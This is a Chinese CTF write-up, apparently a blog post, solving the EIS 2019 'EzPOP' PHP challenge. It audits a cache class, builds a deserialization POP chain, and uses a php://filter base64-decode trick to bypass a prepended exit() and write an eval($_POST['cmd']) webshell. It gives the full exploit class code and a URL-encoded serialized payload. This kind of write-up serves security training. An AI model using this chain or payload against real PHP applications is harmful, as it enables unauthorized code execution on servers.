• [EIS 2019]EzPOP


    知识点:file_put_contents用php://filter绕过exit,代码审计
    
    • 1

    分析

    遇到这种代码审计,一种是找个入口往下推,另一种是从可利用处往上推,像这题只有一个文件,可以利用的地方比较明显,虽然代码很长,我们可以从可利用处往上推。

    可以利用file_put_contents写入文件,再看看两个参数是怎么控制的。

    $result = file_put_contents($filename, $data);
    
    • 1

    $filename文件名,往代码上面找找,可以看到是由getCacheKey函数返回,且传了一个$name参数,那这参数是哪的?先不着急找,先看下$data参数是怎么生成的

    $filename = $this->getCacheKey($name);
    
    public function getCacheKey(string $name): string {
            return $this->options['prefix'] . $name;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    $data是由serialize($value)返回的,且再serialize方法里$serialize值为一个数组,而且返回的是一个动态函数调用,这边我们可以对$database64加密,然后调用base64解密一下就行了,return base64_decode($data);

    protected function serialize($data): string {   
            if (is_numeric($data)) {
                return (string) $data;
            }
    
            $serialize = $this->options['serialize'];
    
            return $serialize($data);                   //动态调用
        }
    
    $data = $this->serialize($value);
    
            if ($this->options['data_compress'] && function_exists('gzcompress')) {//可绕过
                //数据压缩
                $data = gzcompress($data, 3); //压缩
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    但是再传入前,又对$data前连了一个exit,这样就执行不到我们的shell了,所以我们要处理一下,把文件名改一下php://filter/write=convert.base64-decode/resource=cmd.php(详解:https://www.leavesongs.com/PENETRATION/php-filter-magic.html),所以我们应该在shell前加三个字符,因为base64是四个字符一组解密。

    $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    //base64可解密的字符php//000000000000exit
    
    • 1
    • 2

    通过上面的这些分析,可以大概列一些属性。

    
    $data = "aaa".base64_encode("$_POST['cmd']);?>");
    $data = base64_encode($data);
    options['data_compress'] = 0;
    options['serialize'] = base64_decode;
    options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
    $name = "cmd.php";
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    接下来就是细化了,我们可以从a类的save函数里看到set函数的调用,然后找链子:

    __destruct  -> save ->getForStorage -> cleanContents
    然后return json_encode([$cleaned, $this->complete]); -> $this->store->set($this->key, $contents, $this->expire);
    
    • 1
    • 2

    从中可以看出

    $filename = $this->getCacheKey($name);里面的$name是a类里的key,
    $data = $this->serialize($value);里的$value是a类里的complete,
    而a类里的$cleaned是由一个可控的cache传入cleanContents里返回得到的,可以令cache为一个空数组。
    
    • 1
    • 2
    • 3
    class Apublic function cleanContents(array $contents) {
    			return $contents;
    	}
    	public function getForStorage() {
            $cleaned = $this->cleanContents($this->cache);  //cache可控
    
            return json_encode([$cleaned, $this->complete]);
        }
    
        public function save() {
            $contents = $this->getForStorage();
    
            $this->store->set($this->key, $contents, $this->expire);
        }
    
        public function __destruct() {
            if (!$this->autosave) {
                $this->save();
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    exp

    
    class A {
        protected $store;
        protected $key;
        protected $expire;
        public function __construct(){
            $this->store = new B();
            $this->key = 'cmd.php';
            $this->cache = array();
            $this->autosave = 0;
            $this->complete = 'YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkamJXUW5YU2s3SUQ4Kw==';
        }
    }
    
    class B {
        public $option = array();
        public function __construct(){
            $this->options['serialize'] = 'base64_decode';
            $this->options['data_compress'] = false;
            $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        }
    }
    $a = new A();
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    最后传入反序列化值,再用蚁剑连一下。

    ?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22option%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22autosave%22%3Bi%3A0%3Bs%3A8%3A%22complete%22%3Bs%3A60%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkamJXUW5YU2s3SUQ4Kw%3D%3D%22%3B%7D
    
    • 1
  • 相关阅读:
    嵌入式分享合集40
    linux和windows选哪个?
    next.js极速入门
    如何在 .NET Core WebApi 中处理 MultipartFormDataContent 中的文件
    【数组】最多能完成排序的块 数学
    Flutter | 嵌套地狱好阔怕?不要慌,官方解决方案来了!
    【免费个人网站制作】免费个人网站如何制作?
    NAS层协议栈学习笔记
    pandas reindex、set_index 和 reset_index
    JavaScript中 slice, substr 和 substring 的区别
  • 原文地址:https://blog.csdn.net/shinygod/article/details/126886249